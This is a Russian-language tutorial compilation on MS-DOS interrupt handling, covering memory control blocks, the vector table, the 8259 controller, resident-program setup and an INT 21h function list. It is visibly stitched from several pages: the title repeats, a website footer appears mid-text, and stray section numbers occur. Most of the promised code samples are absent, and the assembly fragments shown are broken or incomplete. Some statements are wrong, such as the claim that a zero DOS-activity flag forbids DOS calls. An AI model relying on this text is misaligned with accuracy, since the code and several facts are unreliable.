Недокументированные возможности ms dos альтернативный обработчик прерывания int 21h


Организация оперативной памяти в MS DOS

MCB (Memory Control Block) является блоком DOS, описывающим каждый распределенный участок памяти. Как правило, MCB всегда строится перед PSP исполняемой программы и для «окружения» программы. Рассмотрим формат MCB.

Таблица 1. Формат MCB

Смещение Длина Содержимое
00h 1 тип блока:
‘M’ (4Dh) — промежуточный блок;
‘Z’ (5Ah) — последний блок
01h 2 сегмент владельца блока, 0 — свободный блок
03h 2 количество параграфов в блоке
05h 3 резерв
08h 9 имя программы формата ASCIZ для блоков с PSP

Размер блока — 16 байт.

Для определения первого блока цепочки можно воспользоваться недокументированной функцией MSDOS 52h, которая в es:bx возвращает list of list, в es:[bx-2] находится сегмент первого MCB блока.

Описатель начала цепочки UMB блоков находится по адресу 9FFF:0000 (недокументировано).

Обработка событий в MSDOS

В процессе работы могут возникать некоторые события. События бывают синхронные и асинхронные. Синхронные события — это те, которые происходят в процессе выполнения программы всегда в одном и том же месте. Асинхронные события — это те, которые происходят независимо от работы программы. К синхронным событиям относятся вызовы системы DOS, BIOS. К асинхронным событиям относятся вызовы обработчиков нажатий клавиши на клавиатуре, поступление символа по каналу связи и т.п. Асинхронные прерывания — это, обычно, аппаратные прерывания.

Первые 1024 байта — это таблица векторов (Interupt Table), содержащая для каждого из 256 векторов двухсловный указатель на обработчик. При вызове соответствующего прерывания контроллер прерываний сохраняет в стеке регистр флагов, устанавливает запрет прерываний с большим или равным номером IRQ (для аппаратных прерываний) сохраняет в стеке CS, IP и передает управление обработчику прерываний. Обработчик должен выполнить необходимые действия и вернуть управление командой IRET. В некоторой литературе ошибочно написано о необходимости разрешить прерывания перед возвратом, — этого делать не следует, т.к. после разрешения прерывания, перед инструкцией IRET начинается обработка следующего прерывания стоящего в очереди, и есть высокая вероятность получения сообщения:

Internal Stack Overflow. System halted.

Возможно два способа обработки событий своим обработчиком:

  1. полная замена обработчика;
  2. встраивание в цепочку обработчиков прерывания.

К полной замене приходится прибегать довольно редко. Обычно это используется для написания обработчика «пустых» векторов. Встраивание в цепочку обработчиков прерывания используют все программные драйверы, которым необходимо получить управление при возникновении тех или иных событий.

Встраивание в цепочку обработчиков прерывания происходит по следующей схеме:

Иногда необходимо получить управление как до старого обработчика, так и после него. Это производится следующим образом:

Команды Pushf и Call Far имитируют Int, команды Pushf, Popf, Retf 2 делают Iret, но возвращают вызвавшей программе флаги, которые вернул старый обработчик.

Приемы «красивого встраивания» с заменой части команды:

Недокументированные возможности ms dos альтернативный обработчик прерывания int 21h

Для обработки событий, происходящих асинхронно по отношению к выполнению программы, лучше всего подходит механизм прерываний. Прерывание можно рассматривать как некоторое особое событие в системе, требующее моментальной реакции. Например, хорошо спроектированные системы повышенной надежности используют прерывание по аварии в питающей сети для выполнения процедур записи содержимого регистров и оперативной памяти на магнитный носитель с тем, чтобы после восстановления питания можно было продолжить работу с того же места.

Кажется очевидным, что возможны самые разнообразные прерывания по самым различным причинам. Поэтому прерывание рассматривается не просто как таковое: с ним связывают число, называемое номером типа прерывания или просто номером прерывания. С каждым номером прерывания связывается то или иное событие. Система умеет распознавать, какое прерывание, с каким номером оно произошло, и запускает соответствующую этому номеру процедуру.

Программы могут сами вызывать прерывания с заданным номером. Для этого они используют команду INT. Это так называемые программные прерывания. Программные прерывания не являются асинхронными, так как вызываются из программы (а она-то знает, когда она вызывает прерывание!).

Программные прерывания удобно использовать для организации доступа к отдельным, общим для всех программ модулям. Например, программные модули операционной системы доступны прикладным программам именно через прерывания, и нет необходимости при вызове этих модулей знать их текущий адрес в памяти. Прикладные программы могут сами устанавливать свои обработчики прерываний для их последующего использования другими программами. Для этого встраиваемые обработчики прерываний должны быть резидентными в памяти. Мы научимся создавать свои программы обработки прерываний и будем говорить об этом при обсуждении резидентных программ.

Аппаратные прерывания вызываются физическими устройствами и приходят асинхронно. Эти прерывания информируют систему о событиях, связанных с работой устройств, например о том, что наконец-то завершилась печать символа на принтере и неплохо было бы выдать следующий символ, или о том, что требуемый сектор диска уже прочитан, его содержимое доступно программе.

Использование прерываний при работе с медленными внешними устройствами позволяют совместить ввод/вывод с обработкой данных в центральном процессоре и в результате повышает общую производительность системы.

Некоторые прерывания (первые пять в порядке номеров) зарезервированы для использования самим центральным процессором на случай каких-либо особых событий вроде попытки деления на ноль, переполнения и т.п.

Иногда желательно сделать систему нечувствительной ко всем или отдельным прерываниям. Для этого используют так называемое маскирование прерываний, о котором мы еще будем подробно говорить. Но некоторые прерывания замаскировать нельзя, это немаскируемые прерывания.

Заметим еще, что обработчики прерываний могут сами вызывать программные прерывания, например, для получения доступа к сервису BIOS или DOS (сервис BIOS также доступен через механизм программных прерываний).

Составление собственных программ обработки прерываний и замена стандартных обработчиков DOS и BIOS является ответственной и сложной работой. Необходимо учитывать все тонкости работы аппаратуры и взаимодействия программного и аппаратного обеспечения. При отладке возможно разрушение операционной системы с непредсказуемыми последствиями, поэтому надо очень внимательно следить за тем, что делает Ваша программа.

Для того чтобы связать адрес обработчика прерывания с номером прерывания, используется таблица векторов прерываний, занимающая первый килобайт оперативной памяти — адреса от 0000:0000 до 0000:03FF. Таблица состоит из 256 элементов — FAR-адресов обработчиков прерываний. Эти элементы называются векторами прерываний. В первом слове элемента таблицы записано смещение, а во втором — адрес сегмента обработчика прерывания.

Прерыванию с номером 0 соответствует адрес 0000:0000, прерыванию с номером 1 — 0000:0004 и т.д. Для программиста, использующего язык Си, таблицу можно описать следующим образом:

Инициализация таблицы происходит частично BIOSпосле тестирования аппаратуры и перед началом загрузки операционной системой, частично при загрузке DOS. DOS может переключить на себя некоторые прерывания BIOS.

Займемся теперь содержимым таблицы векторов прерываний. Приведем назначение некоторых наиболее важных векторов:

Номер Описание
Ошибка деления. Вызывается автоматически после выполнения команд DIV или IDIV, если в результате деления происходит переполнение (например, при делении на 0). DOS обычно при обработке этого прерывания выводит сообщение об ошибке и останавливает выполнение программы. Для процессора 8086 при этом адрес возврата указывает на следующую после команды деления команду, а в процессоре 80286 — на первый байт команды, вызвавшей прерывание.
1 Прерывание пошагового режима. Вырабатывается после выполнения каждой машинной команды, если в слове флагов установлен бит пошаговой трассировки TF. Используется для отладки программ. Это прерывание не вырабатывается после выполнения команды MOV в сегментные регистры или после загрузки сегментных регистров командой POP.
2 Аппаратное немаскируемое прерывание. Это прерывание может использоваться по-разному в разных машинах. Обычно вырабатывается при ошибке четности в оперативной памяти и при запросе прерывания от сопроцессора.
3 Прерывание для трассировки. Это прерывание генерируется при выполнении однобайтовой машинной команды с кодом CCh и обычно используется отладчиками для установки точки прерывания.
4 Переполнение. Генерируется машинной командой INTO, если установлен флаг OF. Если флаг не установлен, то команда INTO выполняется как NOP. Это прерывание используется для обработки ошибок при выполнении арифметических операций.
5 Печать копии экрана. Генерируется при нажатии на клавиатуре клавиши PrtScr. Обычно используется для печати образа экрана. Для процессора 80286 генерируется при выполнении машинной команды BOUND, если проверяемое значение вышло за пределы заданного диапазона.
6 Неопределенный код операции или длина команды больше 10 байт (для процессора 80286).
7 Особый случай отсутствия математического сопроцессора (процессор 80286).
8 IRQ0 — прерывание интервального таймера, возникает 18,2 раза в секунду.
9 IRQ1 — прерывание от клавиатуры. Генерируется при нажатии и при отжатии клавиши. Используется для чтения данных от клавиатуры.
A IRQ2 — используется для каскадирования аппаратных прерываний в машинах класса AT.
B IRQ3 — прерывание асинхронного порта COM2.
C IRQ4 — прерывание асинхронного порта COM1.
D IRQ5 — прерывание от контроллера жесткого диска для XT.
E IRQ6 — прерывание генерируется контроллером флоппи-диска после завершения операции.
F IRQ7 — прерывание принтера. Генерируется принтером, когда он готов к выполнению очередной операции. Многие адаптеры принтера не используют это прерывание.
10 Обслуживание видеоадаптера.
11 Определение конфигурации устройств в системе.
12 Определение размера оперативной памяти в системе.
13 Обслуживание дисковой системы.
14 Последовательный ввод/вывод.
15 Расширенный сервис для AT-компьютеров.
16 Обслуживание клавиатуры.
17 Обслуживание принтера.
18 Запуск BASIC в ПЗУ, если он есть.
19 Загрузка операционной системы.
1A Обслуживание часов.
1B Обработчик прерывания Ctrl-Break.
1C Прерывание возникает 18.2 раза в секунду, вызывается программно обработчиком прерывания таймера.
1D Адрес видеотаблицы для контроллера видеоадаптера 6845.
1E Указатель на таблицу параметров дискеты.
1F Указатель на графическую таблицу для символов с кодами ASCII 128-255.
20-5F Используется DOS или зарезервировано для DOS.
60-67 Прерывания, зарезервированные для пользователя.
68-6F Не используются.
70 IRQ8 — прерывание от часов реального времени.
71 IRQ9 — прерывание от контроллера EGA.
72 IRQ10 — зарезервировано.
73 IRQ11 — зарезервировано.
74 IRQ12 — зарезервировано.
75 IRQ13 — прерывание от математического сопроцессора.
76 IRQ14 — прерывание от контроллера жесткого диска.
77 IRQ15 — зарезервировано.
78 — 7F Не используются.
80-85 Зарезервированы для BASIC.
86-F0 Используются интерпретатором BASIC.
F1-FF Не используются.

IRQ0 — IRQ15 — это аппаратные прерывания, о них будет рассказано позже.

Часто при выполнении критических участков программ, для того чтобы гарантировать выполнение определенной последовательности команд целиком, приходится запрещать прерывания. Это можно сделать командой CLI. Ее нужно поместить в начало критической последовательности команд, а в конце расположить команду STI, разрешающую процессору воспринимать прерывания. Команда CLI запрещает только маскируемые прерывания, немаскируемые всегда обрабатываются процессором.

Если вы используете запрет прерываний с помощью команды CLI, следите за тем, чтобы прерывания не отключались на длительный период времени, так как это может привести к нежелательным последствиям. Например, будут отставать часы.

Если вам надо запретить не все прерывания, а только некоторые, например, от клавиатуры, то для этого надо воспользоваться услугами контроллера прерываний. Подробно об этом немного ниже, сейчас отметим только, что выдачей в этот контроллер определенной управляющей информации можно замаскировать прерывания от отдельных устройств.

Вашей программе может потребоваться организовать обработку некоторых прерываний. Для этого программа должна переназначить вектор на свой обработчик. Это можно сделать, изменив содержимое соответствующего элемента таблицы векторов прерываний.

Очень важно не забыть перед завершением работы восстановить содержимое измененных векторов в таблице прерываний, т.к. после завершения работы программы память, которая была ей распределена, считается свободной и может быть использована для загрузки другой программы. Если вы забыли восстановить вектор и пришло прерывание, то система может разрушиться — вектор теперь указывает на область, которая может содержать что угодно.

Поэтому последовательность действий для нерезидентных программ, желающих обрабатывать прерывания, должна быть такой:

  • прочитать содержимое элемента таблицы векторов прерываний для вектора с нужным вам номером;
  • запомнить это содержимое (адрес старого обработчика прерывания) в области данных программы;
  • установить новый адрес в таблице векторов прерываний так, чтобы он соответствовал началу Вашей программы обработки прерывания;
  • перед завершением работы программы прочитать из области данных адрес старого обработчика прерывания и записать его в таблицу векторов прерываний.

Кроме того, операция изменения вектора прерывания должна быть непрерывной в том смысле, что во время изменения не должно произойти прерывание с номером, для которого производится замена программы обработки. Если вы, например, запишете новое значение смещения, а сегментный адрес обновить не успеете, то по какому адресу будет передано управление в случае прерывания и что при этом произойдет? Об этом можно только догадываться.

Для облегчения работы по замене прерывания DOS предоставляет в Ваше распоряжение специальные функции для чтения элемента таблицы векторов прерывания и для записи в нее нового адреса. Если вы будете использовать эти функции, DOS гарантирует, что операция по замене вектора будет выполнена правильно. Вам не надо заботиться о непрерывности процесса замены вектора прерывания.

Для чтения вектора используйте функцию 35h прерывания 21h. Перед ее вызовом регистр AL должен содержать номер вектора в таблице. После выполнения функции в регистрах ES:BX будет искомый адрес обработчика прерывания.

Функция 25h прерывания 21h устанавливает для вектора с номером, находящимся в AL, обработчик прерывания DS:DX.

Разумеется, вы можете непосредственно обращаться к таблице векторов прерываний, но тогда при записи необходимо замаскировать прерывания командой CLI, не забыв разрешить их после записи командой STI.

Для пользователей языка Си библиотека Quick C содержит функции _dos_getvec(), _dos_setvect(). Первая функция получает адрес из таблицы векторов прерываний, вторая устанавливает новый адрес.

Если вам надо добавить какие-либо собственные действия к тем, что выполняет стандартный обработчик прерывания, то можно организовать цепочку прерываний.

Для организации цепочки прерываний вы записываете в векторную таблицу адрес своего обработчика, не забыв сохранить прежнее содержимое таблицы. Ваш обработчик получает управление по прерыванию, выполняет какие-либо действия, затем передает управление стандартному обработчику. Можно сделать и по-другому: ваш обработчик вызывает стандартный обработчик как подпрограмму, после возврата из стандартного обработчика выполняет дополнительные действия. То есть вы можете вставить дополнительную обработку как до вызова стандартного обработчика, так и после его вызова.

В библиотеке Quick C имеется функция для организации цепочки прерываний — _chain_intr().

Рассмотрим более подробно возможности библиотеки интегрированной среды Quick C, предназначенные для работы с прерываниями.

Модификатор interrupt (_interrupt для Quick C 2.5 и C 6.0) описывает функцию, которая является обработчиком прерывания. Такая функция завершается командой возврата из обработки прерывания IRET, и для нее автоматически генерируются команды сохранения регистров на входе и их восстановления при выходе из обработчика прерывания. Пример использования модификатора для описания функции обработки прерывания:

Функция обработки прерывания должна быть FAR-функцией, т.к. таблица векторов прерываний содержит полные адреса в виде сегмент:смещение.

Ключевое слово interrupt используется также для описания переменных, предназначенных для хранения векторов прерываний:

Модификаторы _interrupt и _far для Quick C 2.5 и C 6.0 являются синонимами соответственно interrupt и far.

Какие требования предъявляются к программе обработки прерывания?

Если прерывания происходят часто, то их обработка может сильно замедлить работу прикладной программы. Поэтому обработчик прерывания должен быть короткой, быстро работающей программой, которая выполняет только самые необходимые действия. Например, считать очередной символ из порта принтера и поместить его в буфер, увеличить значение какого-либо глобального счетчика прерываний и т.п.

Для установки своего обработчика прерываний используйте функцию _dos_setvec. Эта функция имеет два параметра — номер прерывания и указатель на новую функцию обработки прерывания. Например:

В этом примере для клавиатурного прерывания с номером 16h устанавливается новый обработчик прерывания my_key_intr.

Если вам надо узнать адрес старого обработчика прерывания по его номеру, лучше всего воспользоваться функцией _dos_getvect, которая принимает в качесте параметра номер прерывания и возвращает указатель на соответствующий этому номеру в таблице векторов прерываний обработчик. Например:

Для организации цепочки прерываний используйте функцию _chain_intr. В качестве параметра эта функция принимает адрес старого обработчика прерываний.

Следующий простой пример иллюстрирует применение всех трех функций, предназначенных для работы с прерываниями. Эта программа встраивает собственный обработчик прерывания таймера, который будет вызываться примерно 18,2 раза в секунду. Встраиваемый обработчик прерывания считает тики таймера и, если значение счетчика кратно 20, на динамик компьютера выдается звуковой сигнал. В конце работы новая программа обработки прерывания таймера вызывает старый обработчик с помощью функции _chain_intr.

После установки нового обработчика прерывания таймера основная программа ждет нажатия на клавиатуре любой клавиши, затем она восстанавливает старое содержимое вектора прерывания.

Аппаратные прерывания вырабатываются устройствами компьютера, когда возникает необходимость их обслуживания. Например, по прерыванию таймера соответствующий обработчик прерывания увеличивает содержимое ячеек памяти, используемых для хранения времени. В отличие от программных прерываний, вызываемых запланировано самой прикладной программой, аппаратные прерывания всегда происходят асинхронно по отношению к выполняющимся программам. Кроме того, может возникнуть одновременно сразу несколько прерываний!

Для того, чтобы система «не растерялась», решая какое прерывание обслуживать в первую очередь, существует специальная схема приоритетов. Каждому прерыванию назначается свой уникальный приоритет. Если происходит одновременно несколько прерываний, то система отдает предпочтение самому высокоприоритетному, откладывая на время обработку остальных прерываний.

Система приоритетов реализована на двух микросхемах Intel 8259 (для машин класса XT — на одной такой микросхеме). Каждая микросхема обслуживает до восьми приоритетов. Микросхемы можно объединять (каскадировать) для увеличения количества уровней приоритетов в системе.

Уровни приоритетов обозначаются сокращенно IRQ0 — IRQ15 (для машин класса XT существуют только уровни IRQ0 — IRQ7).

Для машин XT приоритеты линейно зависели от номера уровня прерывания. IRQ0 соответствовало самому высокому приоритету, за ним шли IRQ1, IRQ2, IRQ3 и так далее. Уровень IRQ2 в машинах класса XT был зарезервирован для дальнейшего расширения системы и, начиная с машин класса AT, IRQ2 стал использоваться для каскадирования контроллеров прерывания 8259. Добавленные приоритетные уровни IRQ8 — IRQ15 в этих машинах располагаются по приоритету между IRQ1 и IRQ3.

Приведем таблицу аппаратных прерываний, расположенных в порядке приоритета:

Номер Описание
8 IRQ0 — прерывание интервального таймера, возникает 18,2 раза в секунду.
9 IRQ1 — прерывание от клавиатуры. Генерируется при нажатии и при отжатии клавиши. Используется для чтения данных с клавиатуры.
A IRQ2 — используется для каскадирования аппаратных прерываний в машинах класса AT.
70 IRQ8 — прерывание от часов реального времени.
71 IRQ9 — прерывание от контроллера EGA.
72 IRQ10 — зарезервировано.
73 IRQ11 — зарезервировано.
74 IRQ12 — зарезервировано.
75 IRQ13 — прерывание от математического сопроцессора.
76 IRQ14 — прерывание от контроллера жесткого диска.
77 IRQ15 — зарезервировано.
B IRQ3 — прерывание асинхронного порта COM2.
C IRQ4 — прерывание асинхронного порта COM1.
D IRQ5 — прерывание от контроллера жесткого диска для XT.
E IRQ6 — прерывание генерируется контроллером флоппи-диска после завершения операции.
F IRQ7 — прерывание принтера. Генерируется принтером, когда он готов к выполнению очередной операции. Многие адаптеры принтера не используют это прерывание.

Из таблицы видно, что самый высокий приоритет у прерываний от интервального таймера, затем идет прерывание от клавиатуры.

Для управления схемами приоритетов необходимо знать внутреннее устройство контроллера прерываний 8259. Поступающие прерывания запоминаются в регистре запроса на прерывание IRR. Каждый бит из восьми в этом регистре соответствует прерыванию. После проверки на обработку в настоящий момент другого прерывания запрашивается информация из регистра обслуживания ISR. Перед выдачей запроса на прерывание в процессор проверяется содержимое восьмибитового регистра маски прерываний IMR. Если прерывание данного уровня не замаскировано, то выдается запрос на прерывание.

Наиболее интересными с точки зрения программирования контроллера прерываний являются регистры маски прерываний IMR и управляющий регистр прерываний.

В машинах класса XT регистр маски прерываний имеет адрес 21h, управляющий регистр прерываний — 20h. Для машин AT первый контроллер 8259 имеет такие же адреса, что и в машинах XT, регистр маски прерываний второго контроллера имеет адрес A1h, управляющий регистр прерываний — A0h.

Разряды регистра маски прерываний соответствуют номерам IRQ. Для того чтобы замаскировать аппаратное прерывание какого-либо уровня, надо заслать в регистр маски байт, в котором бит, соответствующий этому уровню, установлен в 1. Например, для маскирования прерываний от НГМД в порт 21h надо заслать двоичное число 01000000.

Приведем пример программы, маскирующей прерывание от флоппи-диска:

Эта программа есть на дискете, прилагающейся к книге. Запустите ее (с жесткого диска) и попробуйте поработать, например, с дисководом А:. У вас ничего не получится!

Чтобы «оживить» флоппи-диски, запустите программу, которая размаскирует все прерывания (в том числе и от флоппи):

Заметьте, что мы только что замаскировали прерывание именно от флоппи-диска, все остальные устройства продолжали нормально работать. Если бы мы выдали машинную команду CLI, то отключились бы все аппаратные прерывания. Это привело бы, например, к тому, что клавиатура была бы заблокирована.

Еще одно замечание, касающееся обработки аппаратных прерываний. Если вы полностью заменяете стандартный обработчик аппаратного прерывания, не забудьте в конце программы выдать байт 20h в порт с адресом 20h (A0h для второго контроллера 8259). Эти действия необходимы для очистки регистра обслуживания прерывания ISR. При этом разрешается обработка прерываний с более низким приоритетом чем то, которое только что обрабатывалось.

Если вы обрабатываете прерывание 1Ch, то добавка в конце программы не нужна, так как это прерывание является расширением другого прерывания (прерывания таймера).

Перед тем, как завершить изучение прерываний, зададимся вопросом — можно ли замаскировать немаскируемое прерывание? Оказывается можно!

Конечно, если сигнал прерывания пришел на вход немаскируемого прерывания процессора, ничего сделать нельзя — прерывание произойдет неизбежно. Но в компьютерах XT и AT предусмотрены схемы, блокирующие вход немаскируемого прерывания процессора NMI.

Для XT маскированием немаскируемого прерывания управляет порт с адресом 0A0h. Если записать в него 0, немаскируемое прерывание будет запрещено, если 80h — разрешено.

Аналогично для AT маскированием немаскируемого прерывания управляет бит 7 порта 70h. Запись байта 0ADh в порт 70h запретит немаскируемое прерывание, а байта 2Dh — разрешит прохождение прерывания.

Принципы организации обработчика прерываний

По способу организации программы-обработчики прерываний можно классифицировать как два альтернативных типа: замещающие и перехватывающие векторы прерываний.

К замещающим обработчикам, например, относится обработчик INT 23 (Control/Break), который предполагает замену существующего вектора без его сохранения и восстановления.

По-иному реализуется механизм в обработчике, построенном по принципу перехвата вектора прерывания с последующим его возвратом, при этом обработчик сохраняет значение перехваченного оригинального вектора. Большинство макропрограмм клавиатуры относятся к этому типу обработчиков. Они не замещают вектор прерывания INT 09, а перехватывают прерывание и затем уже «решают», будет ли использоваться оригинальный обработчик BIOS. В любом случае после выполнения процедуры обработки прерывания управление будет передано тому обработчику, чей вектор был перехвачен. Подавляющее большинство обработчиков строится именно по такому принципу.

К сожалению, даже основные аспекты построения обработчиков прерываний традиционно плохо документированы и в этой области системного программирования нет отработанных стандартов. Однако на основе анализа соответствующих программ можно считать, что существуют определенные приемы организации программ-обработчиков прерываний.

Практически в любом обработчике можно выделить следующие основные разделы: инициализация обработчика, активизация обработчика, собственно обработка прерывания и выход из обработчика.

Собственно процедура обработки прерывания — это сугубо индивидуальная задача, на которой почти не отражаются требования, налагаемые системой. Этого нельзя гарантировать в отношении остальных аспектов и компонент обработчика.


Фаза инициализации

Задача этой фазы — обеспечить корректную загрузку обработчика с точки зрения DOS и программ, находящихся в памяти одновременно с обработчиком, привязку обработчика к определенным векторам прерываний и инсталляцию его в качестве резидента. Загрузка обработчика осуществляется таким же образом, как и большинства программ, — при помощи системной функции 4Bh, но в процессе инсталляции резидента могут быть открыты файлы, которые будут закрыты самой операционной системой после выхода из процедуры инициализации. Выход из фазы инициализации заключается в освобождении той части памяти, которая не может быть освобождена операционной системой, и в вызове либо системной функции 31h, либо прерывания DOS INT 27.

Как и функция 31h, прерывание INT 27 относится к подклассу системных программных средств, которые обеспечивают реализацию очень важного режима TSR (Terminate but Stay Resident) — «Закончить, но Остаться Резидентом». Системная функция 31h — более поздняя и более удачная реализация этого режима, чем традиционное прерывание INT 27 в операционной системе DOS. Особенностью этой функции является то, что в результате ее выполнения остается код выхода в резидентный режим, а также возможность оставлять резидентом программу размером более 64 Кбайт.

Прежде чем выйти в систему в качестве резидента, программа для более эффективного распределения памяти должна освободить сегмент памяти, содержащий копию окружения DOS для данного обработчика. При обычном окончании программы этот блок памяти очищается самой операционной системой, но при окончании программы и назначении ее резидентом этого не происходит. Процедура освобождения памяти может быть выполнена путем загрузки регистра ES значением адреса сегмента, содержащегося по смещению 2Ch в PSP (префиксе программного сегмента), и использования функции 49h (освободить распределенную память) системного прерывания INT 21.

Однако, чтобы обработчик имел возможность найти PSP, который часто еще называют PID (идентификатор программы), необходимо в самый начальный момент инициализации сохранить значение DS или ES, которые в процессе выполнения процедуры инициализации могут измениться. Возможно более удачным окажется использование системной функции 62h, которая позволяет получить в регистре BX адрес сегмента PSP активной программы.

Окончанием фазы инициализации является выполнение функции выхода с резервированием памяти для резидентной части обработчика. Область памяти до метки начала резидентной программы (LABEL START) резервируется так, чтобы последующие программы не могли бы перекрыть обработчик.

Ниже приведен пример построения основных конструкций фазы инициализации обработчика:

;**************EXECUTION START WITH THIS PIECE

ASSUME CS:CODE, DS:CODE, ES:CODE, SS:CODE

; PROGRAM SEGMENT PREFIX COPY

mov PSPCopy,word ptr [bx+2Ch] ; Сохранить адрес

jmp short START ; Переход к основной фазе

; инициализации с меткой

;———FREE MEMORY ALLOCATED TO THE ENVIRONMENT

mov bx,word ptr PSPCopy ; Установить адрес

int 21h ; Очистить память

pop bx ; от копии окружения DOS

pop es ; текущей программы

;———TERMINATE PROTECTING MEMORY BELOW START

mov dx,offset START ; Установить верхнюю

mov ax,3100h ; границу памяти и

int 21h ; выйти в DOS

Обычно обработчик, или, как его еще называют, ISR (Interrupt Service Routine), привязывается не только к специфическому вектору прерываний, но и к одному из наиболее часто используемых векторов прерываний: INT 08, 09, 16, 23, 24, 28, 21.

Привязка обработчика к определенному вектору прерывания осуществляется при помощи функций 35h (получить вектор) и 25h (установить вектор). Значение оригинального вектора сохраняется и в фазе выхода из обработки. Оно используется для возвращения управления перехваченному вектору прерываний.

START LABEL NEAR

;——-GET INT 8 VECTOR AND SAVE

int 21h ; Получить вектор 08h

mov offset VectOld,bx ; Сохранить сегмент

mov offset VectOld+2,es ; и смещение вектора

;——-SET INT 8 VECTOR TO INT 08

mov dx,word ptr NewOff ; Загрузить новые значения

mov ds,word ptr NewSeg ; сегмента и смещения INT 08

int 21h ; Заменить вектор 08h

]7.1.5.2. Фаза активизации

Активизация обработки прерываний — это действия МП 80286/80386 по передаче управления программе обработки прерываний.

Таблица 7.31

Прерывания, вызванные
INTR NMI INT n
1. Получить номер вектора n из контроллера прерываний, выполнив два специальных цикла «Распознавание прерываний » . 2. Сохранить регистр флажков в стеке. 3. Сохранить CS в стеке. 4. Сохранить IP в стеке. 5. Сбросить IF. 6. Прочитать вектор прерываний n. Поместить селектор в CS и смещение в IP. 7. Начать выполнение команд во входной точке (CS:IP). 1. Сохранить регистр флажков в стеке. 2. Сохранить CS в стеке. 3. Сохранить IP в стеке. 4. Сбросить IF и запретить NMI. Прочитать вектор прерывания 2. Поместить селектор в CS и смещение в IP. 5. Начать выполнение команд во входной точке (CS:IP). 1. Сохранить регистр флажков в стеке. 2. Сохранить CS в стеке. 3. Сохранить IP в стеке. 4. Прочитать вектор прерывания n. Поместить селектор в CS и смещение в IP. 5. Начать выполнение команд во вход ной точке (CS:IP).

При активизации INTR эти действия включают в себя чтение с шины X байта типа прерывания, запоминание состояния текущей программы, чтение соответствующего вектора прерываний и переход по адресу, находящемуся в векторе прерываний. Если запрос на прерывание поступает по входам NMI или INTR, когда прерывания разрешены, его обработка начинается, как только закончится выполнение текущей команды. При появлении команды INT n, обработка прерываний выполняется в этой же команде. В Таблице 7.31 приведена последовательность действий по обработке запроса на прерывание по сигналам INTR, NMI или по команде INT n, выполняемая микропроцессором.

Фаза обработки

При входе в программу обслуживания прерывания те регистры, которые используются совместно основной программой и обработчиком, должны быть сохранены. Для этого лучше всего каждый используемый регистр немедленно проталкивать (PUSH) в стек. По завершении работы программы-обработчика каждый регистр может быть вытолкнут (POP) из стека в обратном порядке.

Следует особо отметить, что при входе в программу обслуживания прерывания сбрасывается флажок разрешения запросов прерываний (IF) и, если их разрешение не будет получено непосредственно в фазе обработки прерывания выполнением команды STI, то только по возвращении из сервисной программы (при выполнении команды IRET) автоматически разрешается прием запросов на прерывания при выталкивании из стека регистра FL. Очень часто STI является первой командой фазы обработки (чтобы не искажать картину вычислительного процесса после входа в обработчик прерываний). Однако, когда нельзя прерывать начало процедуры обработки прерывания, то нет необходимости в каком-либо дополнительном маскировании — микропроцессор не отреагирует на любые запросы до выполнения команды STI.

Если обработчик способен распределять память и открывать файлы в процессе обработки, может возникнуть конфликтная ситуация с операционной системой. DOS работает с собственным внутренним текущим программным идентификатором PSP, когда активизируется обработчик. В этой ситуации у DOS нет возможности определить, что уже активизирован другой процесс. Например, если обработчик активизировался и распределил часть памяти, то, когда управление будет возвращено прерванной программе, она вполне может освободить ту область памяти, которая по имеющейся у нее информации принадлежит ей (что может быть совершенно некстати для обработчика!). К тому же, когда обработчик откроет какой-либо файл, указатель файловой системы (handle) будет заноситься в список указателей файлов, который принадлежит прерванной программе.

Чтобы избежать этой конфликтной ситуации, можно воспользоваться недокументированной системной функцией 50h. При этом обработчик еще на стадии инициализации сохраняет свой PID при помощи функции 62h (см. выше). Затем, когда обработчик активизируется, он может использовать функцию 62h, чтобы сохранить PID прерываемой программы (в частности, DOS), и функцию 50h, чтобы отметить себя в качестве активного процесса. Функция 50h DOS заносит в регистр BX адрес сегмента PSP (PID) для указания текущего активного процесса. Перед выходом из обработчика следует вновь воспользоваться функцией 50h, чтобы восстановить PID прерванной программы (DOS).

Чтобы резидентная программа могла определить, можно ли использовать сервис DOS, чтобы открыть (читать)/закрыть файл, следует использовать системную функцию 34h , которая заносит в ES:BX адрес ячейки флажка активности DOS. Когда содержимое этой ячейки равно нулю, резидентная программа не должна пользоваться функциями DOS.

Резидентные программы часто используют аппаратные прерывания от таймера и клавиатуры. Асинхронный характер аппаратных прерываний может привести к тому, что прерывание может произойти в тот момент, когда выполняется какая-либо функция DOS. В этом случае, если резидент попытается использовать какую-либо функцию DOS, разрушается стек DOS и возможны катастрофические последствия.

Проверяя флажок активности, резидент определяет, когда он может безопасно воспользоваться функциями DOS. Целесообразно использовать этот прием одновременно с перехватом вектора системного прерывания INT 21h. Тогда появляется возможность создать ловушку для системных процедур, имеющих слишком большую длительность выполнения и ориентированных на медленные устройства ввода-вывода (например, функция 0Ah — Ввод строки в буфер), что позволит выполнять процедуры обработчика в «окнах» ожидания ответа устройства.

Следует отметить, что функция 34h относится к недокументированным функциям DOS и, если это вызывает опасения, можно построить процедуру диспетчирования только на основе перехвата системного прерывания, что, конечно же, усложнит процедуру обработки.

Функции прерывания DOS INT 21H

Дата добавления: 2015-06-12 ; просмотров: 1608 ; Нарушение авторских прав

Ниже приведены базовые функции для прерывания DOS INT 21H. Код функции устанавливается в регистре AH:

Завершение программы (аналогично INT 20H).

Ввод символа с клавиатуры с эхом на экран.

Вывод символа на экран.

Ввод символа из асинхронного коммуникационного канала.

Вывод символа на асинхронный коммуникационный канал.

Вывод символа на печать (гл.19).

Прямой ввод с клавиатуры и вывод на экран.

Ввод с клавиатуры без эха и без проверки Ctrl/Break.

Ввод с клавиатуры без эха с проверкой Ctrl/Break.

Вывод строки символов на экран.

Ввод с клавиатуры с буферизацией.

Проверка наличия ввода с клавиатуры.

Очистка буфера ввода с клавиатуры и запрос на ввод.

Установка текущего дисковода.

Открытие файла через FCB.

Закрытие файла через FCB.

Начальный поиск файла по шаблону.

Поиск следующего файла по шаблону.

Удаление файла с диска.

Последовательное чтение файла.

Последовательная запись файла.

Внутренняя операция DOS.

Определение текущего дисковода.

Установка области передачи данных (DTA).

Получение таблицы FAT для текущего дисковода.

Получение FAT для любого дисковода.

Чтение с диска с прямым доступом.

Запись на диск с прямым доступом.

Определение размера файла.

Установка номера записи для прямого доступа.

Установка вектора прерывания.

Создание программного сегмента.

Чтение блока записей с прямым доступом.

Запись блока с прямым доступом.

Преобразование имени файла во внутренние параметры.

Получение даты (CX-год,DН-месяц,DL-день).

Получение времени (CH-час,CL-мин,DН-с,DL-1/100с).

